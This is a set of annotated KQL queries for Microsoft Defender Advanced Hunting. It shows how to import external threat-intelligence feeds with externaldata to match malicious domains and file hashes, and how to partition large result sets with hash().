    "content": "//////////////////\n// externaldata //\n//////////////////\n\n// ref: https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/externaldata-operator?pivots=azuredataexplorer\n// Imports data from a web request into Advanced Hunting for use as a table\n// - The data source must not require authentication (can use SAS tokens)\n// - Supports multiple formats (for full list: https://docs.microsoft.com/en-us/azure/data-explorer/ingestion-supported-formats)\n// - You need to specify the import schema\n\n// Call the function\nexternaldata \n// specify the column names and types\n(UrlDomain:string)\n// Specify the data source(s)\n[\n    @'https://raw.githubusercontent.com/hl-repos/CoViD-19-Observables/master/CoViD-19-Observables.txt'\n]\n// Specify the data format or other parameters (if needed)\nwith (format='txt')\n\n// Example: searching for COVID phishing scams in e-mail\nexternaldata (UrlDomain:string) \n    [@'https://raw.githubusercontent.com/hl-repos/CoViD-19-Observables/master/CoViD-19-Observables.txt']\n| join kind=rightsemi EmailUrlInfo on UrlDomain\n\n// Example: importing a CSV file\nexternaldata (IOC:string,FileName:string,Type:string,FirstSeenonVT:datetime)\n    [@'https://raw.githubusercontent.com/blacklotuslabs/IOCs/main/Reverserat_iocs.csv']\n    with (format='csv', ignorefirstrecord = true)\n\n\n// Example: identifying Azure subnets\n// ref: https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/General%20queries/Detect%20Azure%20RemoteIP.md\nlet AzureSubnets = toscalar (\n    externaldata (xml:string)\n    [\n        @'https://download.microsoft.com/download/0/1/8/018E208D-54F8-44CD-AA26-CD7BC9524A8C/PublicIPs_20200824.xml'\n    ]\n    with (format=\"txt\")\n    | extend Subnet = tostring(parse_xml(xml).IpRange.['@Subnet'])\n    | where isnotempty(Subnet)\n    | summarize make_set(Subnet)\n);\nlet IsItAzure = (SourceData:(RemoteIP:string)) {\n    SourceData\n    | extend AzureSubnet = AzureSubnets\n    | mv-expand AzureSubnet to typeof(string)\n    | extend IsAzure = ipv4_is_in_range(RemoteIP, AzureSubnet)\n    | summarize IsAzure = max(IsAzure) by RemoteIP\n};\nDeviceNetworkEvents\n| take 10000\n| invoke IsItAzure()\n| where IsAzure == true\n\n// Example: Importing abuse.ch\n//ref: https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Campaigns/Abuse.ch%20Recent%20Threat%20Feed.md\n\nlet AbuseFeed = materialize (\n    (externaldata(report:string)\n    [@\"https://bazaar.abuse.ch/export/csv/recent/\"]\n    with (format = \"txt\"))\n    | where report !startswith '#'\n    | extend report = parse_csv(report)\n    | extend FirstSeenUtc = tostring(report[0])\n    | project FirstSeenUtc = todatetime(FirstSeenUtc)\n        ,SHA256 = trim('[ \"]+',tostring(report[1]))\n        , MD5 = trim('[ \"]+',tostring(report[2]))\n        , SHA1 = trim('[ \"]+',tostring(report[3]))\n        , Reporter = trim('[ \"]+',tostring(report[4]))\n        , FileName = trim('[ \"]+',tostring(report[5]))\n        , FileType = trim('[ \"]+',tostring(report[6]))\n        , MimeType = trim('[ \"]+',tostring(report[7]))\n        , Signer = iff(report[8] == 'n/a', '', trim('[ \"]+',tostring(report[8])))\n        , ClamAV = iff(report[9] == 'n/a', '', trim('[ \"]+',tostring(report[9])))\n        , VTPercent = iff(report[10] == 'n/a', 0.0, todouble(report[10]))\n        , ImpHash = iff(report[11] == 'n/a', '', trim('[ \"]+',tostring(report[11])))\n        , SSDeep = iff(report[12] == 'n/a', '', trim('[ \"]+',tostring(report[12])))\n        , TLSH = iff(report[13] == 'n/a', '', trim('[ \"]+',tostring(report[13])))\n);\nunion (\n    AbuseFeed\n    | join DeviceProcessEvents on SHA256\n), (\n    AbuseFeed\n    | join DeviceFileEvents on SHA256\n), ( \n    AbuseFeed\n    | join DeviceImageLoadEvents on SHA256\n)\n\n///////////////////////\n// Data Partitioning //\n///////////////////////\n\n// Technique used to slice up large amounts of data for export or analysis\n// Enables you to export reports that go beyond the interface limitation (10k UX \\ 100k API)\n\n// hash()\n// ref: https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/hashfunction\n// - Returns a hash value of input\n// - Very fast\n// - Currently uses the xxhash algorithm\n// - An optional second parameter can be used to perform a mod operation to make groups\n// - NOT a cryptographic hash - plan for collisions!\n\ndatatable (input:string)['foo','bar','baz','qux','quux']\n| extend HasedValue = hash(input)\n\n// Use the optional second parameter to group data into partitions\n\ndatatable (input:string)['foo','bar','baz','qux','quux']\n| extend HasedValue = hash(input,3)\n\n// When parititioning data you will need to choose a partition key\n// Partition keys should be based on a reasonably distributed value\n\n// DeviceId as a partition key\nDeviceProcessEvents\n| extend Partition = hash(DeviceId,4)\n| summarize count(), dcount(DeviceId) by Partition\n\n// Timestamp as a partition key\nDeviceProcessEvents\n| extend Partition = hash(Timestamp,4)\n| summarize count(), dcount(DeviceId) by Partition\n\n// Recommendation - use variables for the current partition and number of partitions\nlet PartitionNumber = 3;\nlet PartitionCount = 5;\nDeviceProcessEvents\n| where hash(DeviceId, PartitionCount) == PartitionNumber\n| take 1000\n\n// If performing joins or summarizations make sure the parititon key you choose aligns\n// with the join or summarization!\n// In this example, the same filename may occur multiple times with different hashes\nlet PartitionNumber = 0;\nlet PartitionCount = 10;\nDeviceProcessEvents\n| where hash(SHA256, PartitionCount) == PartitionNumber\n| summarize count() by FileName, ProcessCommandLine\n\n// Partitioning is not usually perfectly distributed. Always be sure that every partition\n// in the set fits within the limit.\n\nDeviceProcessEvents \n| extend PartitionNumber = hash(DeviceId,20)\n| summarize count() by PartitionNumber\n\n// My handy query to find the minimum workable partition size :)\n\nlet Query = DeviceProcessEvents | take 100000;\nlet KeyColumn = 'DeviceId';\nlet MaxRows = 20000;\nlet PartitionSizesToTry = 10;\nlet StepSize = 1;\nlet CleanedQuery = \n    Query\n    | project Key = column_ifexists(KeyColumn,'ColumnDidNotExist')\n    | where Key != 'ColumnDidNotExist';\nlet MaxRowsPerKey = toscalar(\n    CleanedQuery\n    | summarize NumberOfRows = count() by Key\n    | summarize max(NumberOfRows)\n);\nlet MinPartitions = toscalar(\n    CleanedQuery\n    | summarize NumberOfRows = count(), DistinctKeys = dcount(Key,4)\n    | project (MaxRows / MaxRowsPerKey) * DistinctKeys\n);\nCleanedQuery\n| extend PartitionCount = range(MinPartitions, MinPartitions + (PartitionSizesToTry * StepSize), StepSize), Hash = hash(Key)\n| mv-expand PartitionCount to typeof(int)\n| extend PartitionNumber = Hash % PartitionCount\n| summarize RowCount = count() by PartitionCount, PartitionNumber\n| extend WillPartitionSizeWork = toint(RowCount <= MaxRows)\n| summarize WillItWork = min(WillPartitionSizeWork) by PartitionCount\n| where WillItWork == 1\n| summarize MinPartitionCount = min(PartitionCount)\n"
  }
]